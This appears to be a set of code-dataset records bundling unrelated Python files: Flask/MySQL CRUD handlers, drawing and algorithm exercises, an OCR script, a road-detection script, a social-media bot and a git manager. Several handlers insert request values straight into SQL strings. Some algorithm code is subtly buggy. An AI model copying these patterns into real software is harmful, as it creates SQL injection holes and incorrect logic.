read_backlog_items(request, db_config):\n db = mysql.connector.connect(**db_config)\n cursor = db.cursor()\n try:\n organisation_id = get_user_organisation_from_params(request, db_config)\n cursor.execute(f'''\n CALL get_backlog_items({organisation_id});\n ''')\n res = get_res(cursor=cursor)\n db.close()\n return {\"backlog_items\": res}\n except Exception as e:\n db.close()\n return {\"error\": str(e.__class__.__name__), \"message\": str(e)}\n\ndef update_item(request, db_config):\n db = mysql.connector.connect(**db_config)\n cursor = db.cursor()\n try:\n req = request.get_json()\n organisation_id = get_user_organisation(req, db_config)\n item_id = req[\"item\"]\n title = req[\"title\"]\n description = req.get(\"description\", None)\n story = req[\"story\"]\n status = req[\"status\"]\n type = req[\"type\"]\n sprint = req.get(\"sprint\", \"NULL\")\n if not sprint:\n sprint = \"NULL\"\n assigned_to = req.get(\"assigned_to\", \"NULL\")\n if not assigned_to:\n assigned_to = \"NULL\"\n cursor.execute(f'''\n UPDATE item\n SET title=\"{title}\", description=\"{description}\", story={story}, status={status}, type={type}, sprint={sprint}, assigned_to={assigned_to}\n WHERE id={item_id};\n ''')\n db.commit()\n cursor.close()\n db.close()\n return {\"message\": \"Updated!\"}\n except Exception as e:\n cursor.close()\n db.close()\n return {\"error\": str(e.__class__.__name__), \"message\": str(e)}\n\ndef delete_item(request, db_config):\n db = mysql.connector.connect(**db_config)\n cursor = db.cursor()\n try:\n req = request.get_json()\n organisation_id = get_user_organisation(req, db_config)\n item_id = req[\"item\"]\n cursor.execute(f'''\n DELETE FROM item\n WHERE id={item_id};\n ''')\n db.commit()\n cursor.close()\n db.close()\n return {\"message\": \"Deleted!\"}\n except Exception as e:\n cursor.close()\n db.close()\n return {\"error\": str(e.__class__.__name__), \"message\": str(e)}","repo_name":"rahuls98/Exto","sub_path":"backend/models/item.py","file_name":"item.py","file_ext":"py","file_size_in_byte":4020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"35860080935","text":"# -*- coding: utf-8 -*-\n\nimport simple_draw as sd\n\n\n# Шаг 1: Реализовать падение снежинки через класс. Внести в методы:\n# - создание снежинки с нужными параметрами\n# - отработку изменений координат\n# - отрисовку\n\n\nclass Snowflake:\n x = sd.random_number(50, 1000)\n y = sd.random_number(720, 800)\n length_of_snowflake = sd.random_number(10, 25)\n\n def clear_previous_picture(self):\n point = sd.get_point(self.x, self.y)\n sd.snowflake(center=point, length=self.length_of_snowflake, color=sd.background_color)\n\n def move(self):\n self.x += sd.random_number(-30, 30)\n self.y -= sd.random_number(1, 25)\n\n def draw(self):\n point = sd.get_point(self.x, self.y)\n sd.snowflake(center=point, length=self.length_of_snowflake, color=sd.COLOR_WHITE)\n\n def can_fall(self):\n return self.y > 0\n\n\ndef get_flakes(count):\n snowflakes = []\n for count in range(count):\n snowflakes.append(Snowflake())\n return snowflakes\n\n\ndef get_fallen_flakes():\n count_snowflakes = 0\n for snowflake in flakes:\n if not snowflake.can_fall():\n count_snowflakes += 1\n index = flakes.index(snowflake)\n del flakes[index]\n return count_snowflakes\n\n\ndef append_flakes(count):\n for count in range(count):\n flakes.append(Snowflake())\n\n\nflakes = get_flakes(count=5)\n\nwhile True:\n for flake in flakes:\n flake.clear_previous_picture()\n flake.move()\n flake.draw()\n fallen_flakes = get_fallen_flakes()\n if fallen_flakes:\n append_flakes(count=fallen_flakes)\n\n sd.sleep(0.1)\n if sd.user_want_exit():\n break\n\nsd.pause()\n","repo_name":"spartachesko/python_portfolio","sub_path":"Classes_objects/01_snowfall.py","file_name":"01_snowfall.py","file_ext":"py","file_size_in_byte":1784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"10498290180","text":"#--------------------UNIVERSIDADE FEDERAL DO SUL E SUDESTE DO PARÁ-------------------------\n# COMPLEXIDADE DE ALGORITMOS - IMPLEMENTAÇÃO DE 4 ALGORITMOS DE SEGMENTO DE SOMA MÁXIMA\n#PROFESSOR MANOEL RIBEIRO\n#ALUNOS:\n#AMANDA SAVINO\n#BEATRIZ CAVALCANTE\n#MANOEL MALON COSTA\n#------------------------------------------------------------------------------------------\n\n#Esta classe contém os métodos para calcular cada um dos algoritmos de segmento\n#de soma máxima e são todos estáticos para não precisar instanciar um objeto \n#para chamar um metódo\nclass Algoritmos:\n#-------------------------------------------------------------------------------\n #PRIMEIRO ALGORITMO\n #teta(n³) = n*n*n\n @staticmethod\n def alturaI(vetor):\n x = vetor[0]\n for i in range(0, len(vetor)):\n for k in range(i, len(vetor)):\n s = 0\n for j in range(i, k+1):\n s = s + vetor[j]\n if s > x:\n x = s\n return x\n#-------------------------------------------------------------------------------\n\n#-------------------------------------------------------------------------------\n #SEGUNDO ALGORITMO\n #teta(n²) = n*n\n @staticmethod\n def alturaII(vetor):\n x = vetor[0]\n for q in range(1, len(vetor)): #\n s = 0\n for j in range(q, 1, -1):\n s = s + vetor[j]\n if s > x:\n x = s\n return x\n#-------------------------------------------------------------------------------\n\n#-------------------------------------------------------------------------------\n #método responsável por determinar o maior número entre 3 - necessário\n #para executar a alturaIII\n @classmethod\n def max(cls, num1, num2, num3):\n if num3 == None:\n num3 = 0\n if num2 == None:\n num3 = 0\n if num1 == None:\n num3 = 0\n \n if num1 > num2 and num1 > num3:\n return cls.num1\n if num2 > num1 and num2 > num3:\n return cls.num2\n if num3 > num1 and num3 > num2:\n return cls.num3\n\n #TERCEIRO ALGORITMO\n #teta(nlogn)\n @staticmethod\n def alturaIII(vetor, p, r):\n if p == r:\n return vetor[p]\n else:\n q = (p+r)//2\n x1 = Algoritmos.alturaIII(vetor, p, q) #T(n/2)\n x2 = Algoritmos.alturaIII(vetor, q+1, r) #T(n/2)\n y1 = s = vetor[q]\n for i in range(q-1, p, -1): #n/2\n s = vetor[i] + s\n if s > y1:\n y1 = s\n y2 = s = vetor[q+1]\n for j in range(q+2, r): #n/2\n s = s + vetor[j]\n if s > y2:\n y2 = s\n x = max(x1, y1 + y2, x2)\n return x\n #Equaçao: T(n) = T(n/2) + T(n/2) + n/2 + n/2\n #T(n) = 2T(n/2) + n => Pela Tabela => T(n) = teta(nlogn)\n#-------------------------------------------------------------------------------\n\n#-------------------------------------------------------------------------------\n #QUATRO ALGORITMO\n #Teta(n)\n @staticmethod\n def alturaIV(vetor):\n n = len(vetor)\n semi = vetor.copy()\n semi[0] = vetor[0]\n for q in range(1, n): # T(n) = n\n if semi[q-1] >= 0:\n semi[q] = semi[q-1]+vetor[q]\n else:\n semi[q] = vetor[q]\n x = semi[0]\n for q in range(2, n): # T(n) = n\n if semi[q] > x:\n x = semi[q]\n return x\n#-------------------------------------------------------------------------------\n","repo_name":"mallon-costa/Segmento-de-Soma-Maxima","sub_path":"Códigos/Algoritmos.py","file_name":"Algoritmos.py","file_ext":"py","file_size_in_byte":3662,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"23927757410","text":"import random\nrandom.seed(0) # fix seed for reproducibility\n\nclass Dice:\n def __init__(self, bias=0.5):\n self.bias = bias\n\n def roll(self):\n return random.uniform(0, 1) < self.bias\n\ndef main():\n\n # the Dice instance to decide when to explore and when to exploit\n epsilon = 0.1\n greedy_dice = Dice(epsilon)\n\n # set the true degree of interests\n # if degree of interest = 0.1, then 10% of chance the neighbour will pick up the Ads\n\n interests = [ random.uniform(0,1) for i in range(5) ]\n\n num_neighbours = len(interests)\n neighbors = []\n for i in range(num_neighbours):\n m = Dice(interests[i])\n neighbors.append(m)\n\n # warm-up phase gives each neighbor 0.5 degree of interest\n\n neighbor_data = {}\n warm_up = 10\n for i in range(num_neighbours):\n neighbor_data[i] = {}\n neighbor_data[i]['pick-up'] = warm_up * 0.5\n neighbor_data[i]['drop-off'] = warm_up\n\n print(\"+++++++ warm-up phase\")\n for k,v in neighbor_data.items(): print(k,v)\n print(\"------- true degree of interests: \")\n for i in range(num_neighbours):\n print(i, interests[i])\n\n\n # makes num_iter bigger (e.g. 100000) gives better results (as in the exam sheet).\n num_iter = 100000\n\n for i in range(num_iter):\n # pick_neighbor() is the function you need to implement\n pick = pick_neighbor(greedy_dice, neighbor_data)\n neighbor_data[pick]['drop-off'] += 1\n neighbor_data[pick]['pick-up'] += neighbors[pick].roll()\n\n print(\"\\n\")\n print(\"++++++++ after simulation \", num_iter)\n for i in range(num_neighbours): print(i, neighbor_data[i])\n print(\"-------- estimated degree of interests:\")\n for i in range(num_neighbours):\n print(i, neighbor_data[i]['pick-up']/neighbor_data[i]['drop-off'])\n\ndef pick_neighbor(greedy_dice, neighbor_data):\n #----------your code below----------#\n # IMPLEMENT THE FOLLOWING PART\n # the variable \"pick\" is the neighbor your algorithm\n # selected in each round.\n # pick-ups/drop-offs gives the estimated degree of interest\n\n # COMMENT OUT the following 2 lines and implement e-greedy\n if greedy_dice.roll():\n lis = [float(v['pick-up'])/float(v['drop-off']) for v in neighbor_data.values()]\n pick = lis.index(max(lis))\n else:\n pick = random.randrange(5)\n #----------your code below----------#\n return pick\n\n\n##---test of your code---##\nmain()\n","repo_name":"sarkarghya/NYU_Shanghai_CS","sub_path":"ICS 101/Xmisc/final_spring20/Q2_e_greedy_student.py","file_name":"Q2_e_greedy_student.py","file_ext":"py","file_size_in_byte":2440,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"} +{"seq_id":"19266533555","text":"import pyperclip\r\nimport pyautogui\r\nfrom PIL import ImageGrab\r\nimport pytesseract as tess\r\ntess.pytesseract.tesseract_cmd = r'C:\\Program Files\\Tesseract-OCR\\Tesseract.exe'\r\nfrom PIL import Image\r\nimport time\r\nfrom pynput import mouse\r\nfrom pynput.mouse import Listener\r\n\r\n\r\n# ----------------------------------------------------------------------------------------------------------------------\r\ncolumns = 1 # number of columns//datum to copy per line\r\nwhitelist = set('abcdefghijklmnopqrstuvwxyz ()ABCDEFGHIJKLMNOPQRSTUV1234567890.&<>/-,:#ÀÁÃÂÉÊÍÓÔÕÚÜÇàáãâéêíõôóúüç°³^%')\r\n # (portuguese whitelist + nums & chars)\r\n# whitelist = set('abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUV') # letters only\r\n# whitelist = set('abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUV1234567890.') # nums and letters only\r\n# whitelist = set('1234567890.') # nums only\r\n# ----------------------------------------------------------------------------------------------------------------------\r\ndef mouseDown(x, y, button, pressed):\r\n if pressed:\r\n return\r\n if not pressed:\r\n return False\r\n# ----------------------------------------------------------------------------------------------------------------------\r\npyautogui.hotkey('alt', 'tab')\r\ndata = []\r\nwhile columns > 0:\r\n pyautogui.hotkey('win', 'shift', 's')\r\n with mouse.Listener(on_click=mouseDown) as listener:\r\n listener.join()\r\n time.sleep(.5)\r\n img = ImageGrab.grabclipboard()\r\n img.save('aa.png', 'PNG')\r\n getImg = Image.open('aa.png')\r\n datum = tess.image_to_string(getImg, lang='por')\r\n datum = ''.join(filter(whitelist.__contains__, datum))\r\n time.sleep(.1)\r\n data.append(datum)\r\n time.sleep(.1)\r\n columns = columns - 1\r\ntext = \"\"\r\nfor x in data:\r\n text = (text + x + \" \\t\")\r\nprint(text)\r\npyperclip.copy(text)\r\n","repo_name":"elijahnicpon/NF-Internship-Work","sub_path":"Random Python Projects/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"40736591012","text":"import numpy as np\nimport cv2\nfrom sklearn.neighbors import KDTree\nfrom itertools import permutations\nimport random \n\ndef triangle_area(p):\n p1 = p[0]\n p2 = p[1]\n p3 = p[2]\n return abs((p1[0]*(p2[1]-p3[1]) + \n p2[0]*(p3[1]-p1[1]) +\n p3[0]*(p1[1]-p2[1]))/2)\n \ndef strightness(a,b,y):\n x = 0\n if ((a[0][0]-y[0])**2+(a[0][1]-y[1])**2) <= ((b[0][0]-y[0])**2+(b[0][1]-y[1])**2):\n x += 1\n if ((a[1][0]-y[0])**2+(a[1][1]-y[1])**2) <= ((b[1][0]-y[0])**2+(b[1][1]-y[1])**2):\n x += 1\n if ((a[2][0]-y[0])**2+(a[2][1]-y[1])**2) <= ((b[2][0]-y[0])**2+(b[2][1]-y[1])**2):\n x += 1\n return x >= 2\n \n \ndef dist2p(x):\n p1,p2,p3 = x\n return abs(p1[0]-p2[0]) + abs(p1[1]-p2[1]) + abs(p1[0]-p3[0]) + abs(p1[1]-p3[1])\n\ndef measure_green(img,p1,p2):\n #mesures the amount of green colour around two points\n # returns 0 if it's really green 255 if it's not green at all\n greenlow = 36\n greenup = 86\n ret = 0\n x1 = max(p1[0]-10,0)\n x2 = min(p1[0]+10,img.shape[0])\n y1 = max(p1[1]-10,0)\n y2 = min(p1[1]+10,img.shape[0])\n colour = 0\n for i in range(x1,x2):\n for j in range(y1,y2):\n colour += img[i,j,0]\n colour = colour/200\n if colour < greenup and colour > greenlow:\n ret += 0\n else:\n ret += min(abs(colour-greenup),abs(colour-greenlow))\n x1 = max(p1[0]-10,0)\n x2 = min(p2[0]+10,img.shape[0])\n y1 = max(p2[1]-10,0)\n y2 = min(p2[1]+10,img.shape[0])\n colour = 0\n for i in range(x1,x2):\n for j in range(y1,y2):\n colour += img[i,j,0]\n colour = colour/200\n if colour < greenup and colour > greenlow:\n ret += 0\n else:\n ret += min(abs(colour-greenup),abs(colour-greenlow))\n \n return min(ret,255)\n#the photo we will attempt to measure from\nimg = cv2.imread(\"roadway.png\")\nimg = cv2.bilateralFilter(img,15,150,150)\n\n\n\n#both of these png are close up of roads, need to get the colour to mask with\ncolours = cv2.imread(\"ApplicationFrameHost_2019-05-18_15-39-45.png\")\ncolours = cv2.cvtColor(colours,cv2.COLOR_BGR2HSV)\nfirst = []\nnd = []\nrid = []\nfor i,x in enumerate(colours):\n for j,y in enumerate(x):\n first.append(y[0])\n nd.append(y[1])\n rid.append(y[2])\nblue_lower=np.array([min(first),min(nd),min(rid)],np.uint8)\nblue_upper=np.array([max(first),max(nd),max(rid)],np.uint8)\ncolours = cv2.imread(\"ApplicationFrameHost_hSGq8kb1Ux.png\")\ncolours = cv2.cvtColor(colours,cv2.COLOR_BGR2HSV)\nfirst = []\nnd = []\nrid = []\nfor i,x in enumerate(colours):\n for j,y in enumerate(x):\n first.append(y[0])\n nd.append(y[1])\n rid.append(y[2])\nblue_lower=np.array([min(min(first),blue_lower[0]),min(min(nd),blue_lower[1]),\n min(min(rid),blue_lower[2])],np.uint8)\nblue_upper=np.array([max(max(first),blue_upper[0]),max(max(nd),blue_upper[1]),\n max(max(rid),blue_upper[2])],np.uint8)\nhsv = cv2.cvtColor(img,cv2.COLOR_BGR2HSV)\nmask = cv2.inRange(hsv, blue_lower, blue_upper)\n\n#clean up the mask a little\nmask = cv2.erode(mask, None, iterations=1)\nmask = cv2.dilate(mask, None, iterations=1)\nmask = cv2.dilate(mask, None, iterations=1)\nmask = cv2.erode(mask, None, iterations=1)\n\nedges = cv2.Canny(mask,700,1200)\n\n\n\n\ncontours, _ = cv2.findContours(mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\ncopy = []\n# only want road edges i.e big contours\nfor x in contours:\n if len(x) > 200:\n xx = max([y[0][0] for y in x])\n xy = min([y[0][0] for y in x])\n yy = max([y[0][1] for y in x])\n yx = min([y[0][1] for y in x])\n if(max(abs(xx-xy),abs(yy-yx))) > 250:\n copy.append(x)\n \ncontours = copy\n\ncopy = mask.copy()\ncopy.fill(0)\ncv2.fillPoly(copy, pts = contours, color=(255,255,255))\n#copy = cv2.cvtColor(copy,cv2.COLOR_GRAY2BGR)\n\n\ncopy = cv2.dilate(copy, None, iterations=40)\ncopy = cv2.erode(copy, None, iterations=40)\n\ncontours, _ = cv2.findContours(copy, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\n\n\npairs = []\nareas = []\nresults = []\n#contours = list(contours)\nsize = (0,2)\nfor x in contours:\n x = size[0] + x.shape[0]\n size = (x,2)\nx = np.zeros(size, dtype =int)\nyeet = 0\nfor y in contours:\n x[yeet:y.shape[0]+yeet,:] = y.reshape(y.shape[0],2)\n yeet += y.shape[0]\ncontours = x\ntree = KDTree(contours) \n#build a KD tree of road edges\n\nfor j in range(len(contours)):\n print(str(j) + \"/\" + str(len(contours)))\n y = contours[j]\n# print(y)\n# print(len(x))\n results = []\n ind, dist = tree.query_radius(y.reshape(1,-1), 90, return_distance=True)\n #search the tree for the closes points\n #note searches in a circle so need to calculate which side of the road the points are on somehow\n if not dist.size == 0:\n dist = dist[0].tolist()\n ind = ind[0].tolist()\n for l in range(len(dist)):\n if dist[l] > 25:\n results.append((dist[l],contours[ind[l]]))\n results = sorted(results,key=lambda x:x[0],reverse = True)\n results = [x[1] for x in results]\n #need to find points that maxmise the area of a equalteral trinagle (ie one point on the other side of the road and two point on the same side of the road)\n if len(results) > 3:\n p1 = results[0]\n p2 = results[1]\n p3 = results[2]\n results = results[3:]\n for j in range(len(results)):\n test = results[j]\n perms = list(permutations([test,p1,p2])) + list(permutations([test,p1,p3])) + list(permutations([test,p3,p2]))\n new_area = []\n area2coord = {}\n for p in perms:\n new_area.append(triangle_area(p))\n area2coord[triangle_area(p)] = p\n if max(new_area) > 2500 and max(new_area) > (0.95 * triangle_area([p1,p2,p3])) and strightness(area2coord[max(new_area)], [p1,p2,p3], y):\n p1 = area2coord[max(new_area)][0]\n p2 = area2coord[max(new_area)][1]\n p3 = area2coord[max(new_area)][2]\n perms = list(permutations([p1,p1,p2]))\n new_area = []\n area2coord = {}\n #take the point that miminses point to point distence between the three points as this will be the one on the other side of the road\n for p in perms:\n new_area.append(dist2p(p))\n area2coord[dist2p(p)] = p\n pairs.append((y,area2coord[min(new_area)][0]))\n\n \n \n \n \n\ncopy = np.full(img.shape, 0)\nhue = cv2.cvtColor(img,cv2.COLOR_BGR2HSV)\nfor x in pairs:\n if abs(x[0][0]-x[0][1])+abs(x[1][0]-x[1][1]) > 450:\n cv2.line(copy,(x[0][0],x[0][1]),(x[1][0],x[1][1]),(measure_green(hue,x[0],x[1]),255,0),2)\n\nx = np.nonzero(copy)\nimg[x] = copy[x]\n\ncv2.startWindowThread()\ncv2.namedWindow(\"contours\")\ncv2.imshow('contours', img)\ncv2.imwrite( \"yeet5.jpg\", img)\ncv2.waitKey(0)\n\n\n\n\n","repo_name":"rexsw/Road-width-analysis","sub_path":"bikeaton.py","file_name":"bikeaton.py","file_ext":"py","file_size_in_byte":6848,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"33946665176","text":"def Swap(string, start, curr):\r\n\r\n for i in range(start, curr):\r\n if string[i] == string[curr]:\r\n return False\r\n return True\r\n\r\ndef Permutations(string, index, length):\r\n\r\n if index == length:\r\n print(\"String : \",end=' ')\r\n print(''.join(string))\r\n return\r\n\r\n for i in range(index, length):\r\n x = Swap(string, index, i)\r\n if x == 1:\r\n string[index], string[i] = string[i], string[index]\r\n Permutations(string, index + 1, length)\r\n string[index], string[i] = string[i], string[index]\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n str = list(input(\"Enter the string for permutations\\n\"))\r\n print(\"\\n\")\r\n length = len(str)\r\n Permutations(str, 0, length)\r\n","repo_name":"ImNoOne-1999/Backtracking-Assignment","sub_path":"backtrack.py","file_name":"backtrack.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"13879359324","text":"import cv2\nimport numpy as np\n\nimg = cv2.imread(\"../python_openCV/img/sunset.jpg\")\n\nx = 320; y = 150; w=50; h =50 # roi영역으로 잡을 좌표\nroi = img[y:y+h, x:x+w] # roi 좌표를 지정하기 위해 범위로 배열 만들기\nprint(roi.shape)\n\n# 사각형 그려내기\ncv2.rectangle(roi,(0,0),(h-1, w-1),(0,255,0))\ncv2.imshow(\"img\",img)\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()","repo_name":"sejhig2/openCV_practice_StepByStep","sub_path":"withPython_ch4.1/4_1_roi.py","file_name":"4_1_roi.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"19494317379","text":"from fastapi import FastAPI, Request, status\nfrom fastapi.exceptions import RequestValidationError\nfrom fastapi.responses import JSONResponse\nfrom routers import characters, chats, tokens, memories\nfrom firebase.firebase import initialize\n\ninitialize()\napp = FastAPI()\n\n@app.exception_handler(RequestValidationError)\nasync def handler(request: Request, exc: RequestValidationError):\n print(\"==========================\")\n print(request)\n print(exc)\n print(\"==========================\")\n\n return JSONResponse(\n content={},\n status_code=status.HTTP_422_UNPROCESSABLE_ENTITY,\n )\n\napp.include_router(characters.router, tags=[\"characters\"])\napp.include_router(chats.router, tags=[\"chats\"])\napp.include_router(tokens.router, tags=[\"token\"])\napp.include_router(memories.router, tags=[\"memory\"])\n","repo_name":"scico-llc/co-friend","sub_path":"backend/api/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"41361507696","text":"#!/usr/bin/python3\nimport os, json, shutil, time\nimport twint\nfrom mastodon import Mastodon\nfrom config import *\n\ndelim = chr(31)\nmastodon = Mastodon(\n access_token = 'user.secret',\n api_base_url = url\n )\n\nwith open(\"last.txt\", \"r\") as last:\n last = last.read().splitlines()\n\ndef scrape(user):\n c = twint.Config()\n c.Username = user\n c.Limit = 10\n c.Store_json = True\n c.Output = \"now.json\"\n c.Hide_output = True\n twint.run.Search(c)\n\ndef loader(fn):\n tlist = []\n with open(fn) as data:\n data = data.read().splitlines()\n for d in data:\n tlist.append(json.loads(d))\n tlist = delim.join([t[\"tweet\"] for t in tlist])\n with open(\"now.txt\", \"w\") as now:\n now.write(tlist)\n\ndef findnew():\n with open(\"last.txt\") as last:\n last = last.read().split(delim)\n with open(\"now.txt\") as now:\n now = now.read().split(delim)\n diff = list(set(now).difference(last))\n return diff\n\n\ndef main():\n scrape(twitter)\n loader(\"now.json\")\n diff = findnew()\n if len(diff):\n for d in diff:\n mastodon.toot(d)\n time.sleep(5)\n shutil.copy(\"now.txt\", \"last.txt\")\n\n","repo_name":"153/twtoo","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"18590049587","text":"from torch import nn\nfrom transformers import AutoTokenizer\n\nfrom bin.transformers.hugginface_rm_dropout import rm_dropout\nfrom bin.transformers.huggingface_freeze_layer import freeze_layer\n\n\nclass SimpleRegression(nn.Module):\n def __init__(\n self,\n model,\n hidden_size,\n num_classes,\n tokenizer,\n max_length,\n remove_dropout,\n freeze,\n ):\n super().__init__()\n self.model = rm_dropout(model, remove_dropout)\n self.model = freeze_layer(model, freeze)\n self.tokenizer = AutoTokenizer.from_pretrained(tokenizer)\n self.drop = nn.Dropout(p=0.2)\n self.max_length = max_length\n self.fc = nn.Linear(hidden_size, num_classes)\n\n def forward(self, text, device):\n tokens = self.tokenizer(\n text,\n truncation=True,\n return_tensors=\"pt\",\n padding=True,\n max_length=self.max_length,\n ).to(device)\n out = self.model(\n input_ids=tokens[\"input_ids\"],\n attention_mask=tokens[\"attention_mask\"],\n output_hidden_states=False,\n )\n out = out[\"last_hidden_state\"][:, 0, :]\n out = self.drop(out)\n outputs = self.fc(out)\n return outputs\n","repo_name":"simonmeoni/jrstc-competition","sub_path":"bin/transformers/simple_regression.py","file_name":"simple_regression.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"33797555711","text":"\"\"\"Multimedia Extensible Git (MEG) git repository manager\n\nGit repository manager for runtime\n\"\"\"\n\nimport os\nimport pathlib\nfrom meg_runtime.config import Config\nfrom meg_runtime.git.repository import GitRepository, GitException\nfrom meg_runtime.logger import Logger\n\n\n# Git repository manager\nclass GitManager(dict):\n \"\"\"Git repository manager\"\"\"\n\n # The git repository manager instance\n __instance = None\n\n # Git repository manager constructor\n def __init__(self, **kwargs):\n \"\"\"Git repository manager constructor\"\"\"\n # Check if there is already a git repository manager instance\n if GitManager.__instance is not None:\n # Except if another instance is created\n raise GitException(self.__class__.__name__ + \" is a singleton!\")\n else:\n # Initialize super class constructor\n super().__init__(**kwargs)\n # Set this as the current git repository manager instance\n GitManager.__instance = self\n\n # Initialize local git repository\n @staticmethod\n def init(repo_path, bare=False, *args, **kwargs):\n \"\"\"Open local git repository\"\"\"\n # Check there is git repository manager instance\n if GitManager.__instance is None:\n GitManager()\n if GitManager.__instance is not None:\n # Log init repo\n Logger.debug(f'MEG Git: Initializing git repository <{repo_path}>')\n try:\n # Initialize the repository\n return GitRepository(repo_path, bare=bare, init=True, *args, **kwargs)\n except Exception as e:\n # Log that opening the repo failed\n Logger.warning(f'MEG Git: {e}')\n Logger.warning(f'MEG Git: Could not open git repository <{repo_path}>')\n return None\n\n # Open local git repository\n @staticmethod\n def open(repo_path, checkout_branch=None, bare=False, *args, **kwargs):\n \"\"\"Open local git repository\"\"\"\n # Check there is git repository manager instance\n if GitManager.__instance is None:\n GitManager()\n if GitManager.__instance is not None:\n # Log cloning repo\n Logger.debug(f'MEG Git: Opening git repository <{repo_path}>')\n try:\n # Open the repository\n return GitRepository(repo_path, checkout_branch=checkout_branch, bare=bare, *args, **kwargs)\n except Exception as e:\n # Log that opening the repo failed\n Logger.warning(f'MEG Git: {e}')\n Logger.warning(f'MEG Git: Could not open git repository <{repo_path}>')\n return None\n\n # Clone a remote git repository to a local repository\n @staticmethod\n def clone(repo_url, repo_path=None, checkout_branch=None, bare=False, *args, **kwargs):\n \"\"\"Clone a remote git repository to a local repository\"\"\"\n # Check there is git repository manager instance\n if GitManager.__instance is None:\n GitManager()\n if GitManager.__instance is not None:\n # Log cloning repo\n Logger.debug(f'MEG Git: Cloning git repository <{repo_url}> to <{repo_path}>')\n try:\n # Get the repository path if not provided\n if repo_path is None:\n # Get the root path in the following order:\n # 1. The configured repositories directory path\n # 2. The configured user directory path\n # 3. The current working directory path\n repo_prefix = Config.get('path/repos', Config.get('path/user', os.curdir))\n # Append the name of the repository to the path\n if isinstance(repo_url, str):\n repo_path = os.path.join(repo_prefix, pathlib.Path(repo_url).stem)\n elif isinstance(repo_url, pathlib.Path):\n repo_path = os.path.join(repo_prefix, repo_url.stem)\n else:\n raise GitException(f'No local repository path was provided and the path could not be determined from the remote <{repo_url}>')\n # Clone the repository by creating a repository instance\n return GitRepository(repo_path, repo_url, checkout_branch=checkout_branch, bare=bare, *args, **kwargs)\n except Exception as e:\n # Log that cloning the repo failed\n Logger.warning(f'MEG Git: {e}')\n Logger.warning(f'MEG Git: Could not clone git repository <{repo_url}> to <{repo_path}>')\n return None\n\n # Open local git repository or clone a remote git repository to a local repository\n @staticmethod\n def open_or_clone(repo_path, repo_url, checkout_branch=None, bare=False, *args, **kwargs):\n \"\"\"Open local git repository or clone a remote git repository to a local repository\"\"\"\n repo = GitManager.open(repo_path, checkout_branch=checkout_branch, bare=bare, *args, **kwargs)\n if repo is None:\n repo = GitManager.clone(repo_url, repo_path=repo_path, checkout_branch=checkout_branch, bare=bare, *args, **kwargs)\n return repo\n","repo_name":"MultimediaExtensibleGit/Runtime","sub_path":"meg_runtime/git/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":5204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"45218531923","text":"from flask import Flask, render_template, request, flash, redirect, url_for, abort\nfrom flask_mysqldb import MySQL\nfrom dbdemo import db ## initially created by __init__.py, needs to be used here\nfrom dbdemo.grade import grade\nfrom dbdemo.grade.forms import GradeForm\n\n@grade.route(\"/grades\")\ndef getGrades():\n \"\"\"\n Retrieve grades from database\n \"\"\"\n try:\n cur = db.connection.cursor()\n cur.execute(\"SELECT * FROM grades\")\n column_names = [i[0] for i in cur.description]\n grades = [dict(zip(column_names, entry)) for entry in cur.fetchall()]\n cur.close()\n return render_template(\"grades.html\", grades = grades, pageTitle = \"Grades Page\")\n except Exception as e:\n abort(500)\n print(e)\n\n@grade.route(\"/grades/delete/\", methods = [\"POST\"])\ndef deleteGrade(gradeID):\n \"\"\"\n Delete grade by id from database\n \"\"\"\n query = f\"DELETE FROM grades WHERE id = {gradeID};\"\n try:\n cur = db.connection.cursor()\n cur.execute(query)\n db.connection.commit()\n cur.close()\n flash(\"Grade deleted successfully\", \"primary\")\n except Exception as e:\n flash(str(e), \"danger\")\n return redirect(url_for(\"grade.getGrades\"))\n\n@grade.route(\"/grades/create\", methods = [\"GET\", \"POST\"]) ## \"GET\" by default\ndef createGrade():\n \"\"\"\n Create new grade in the database\n \"\"\"\n form = GradeForm() ## This is an object of a class that inherits FlaskForm\n ## which in turn inherits Form from wtforms\n ## https://flask-wtf.readthedocs.io/en/0.15.x/api/#flask_wtf.FlaskForm\n ## https://wtforms.readthedocs.io/en/2.3.x/forms/#wtforms.form.Form\n ## If no form data is specified via the formdata parameter of Form\n ## (it isn't here) it will implicitly use flask.request.form and flask.request.files.\n ## So when this method is called because of a GET request, the request\n ## object's form field will not contain user input, whereas if the HTTP\n ## request type is POST, it will implicitly retrieve the data.\n ## https://flask-wtf.readthedocs.io/en/0.15.x/form/\n ## Alternatively, in the case of a POST request, the data could have between\n ## retrieved directly from the request object: request.form.get(\"key name\")\n\n ## when the form is submitted\n if(request.method == \"POST\"):\n newGrade = form.__dict__\n\n query = \"INSERT 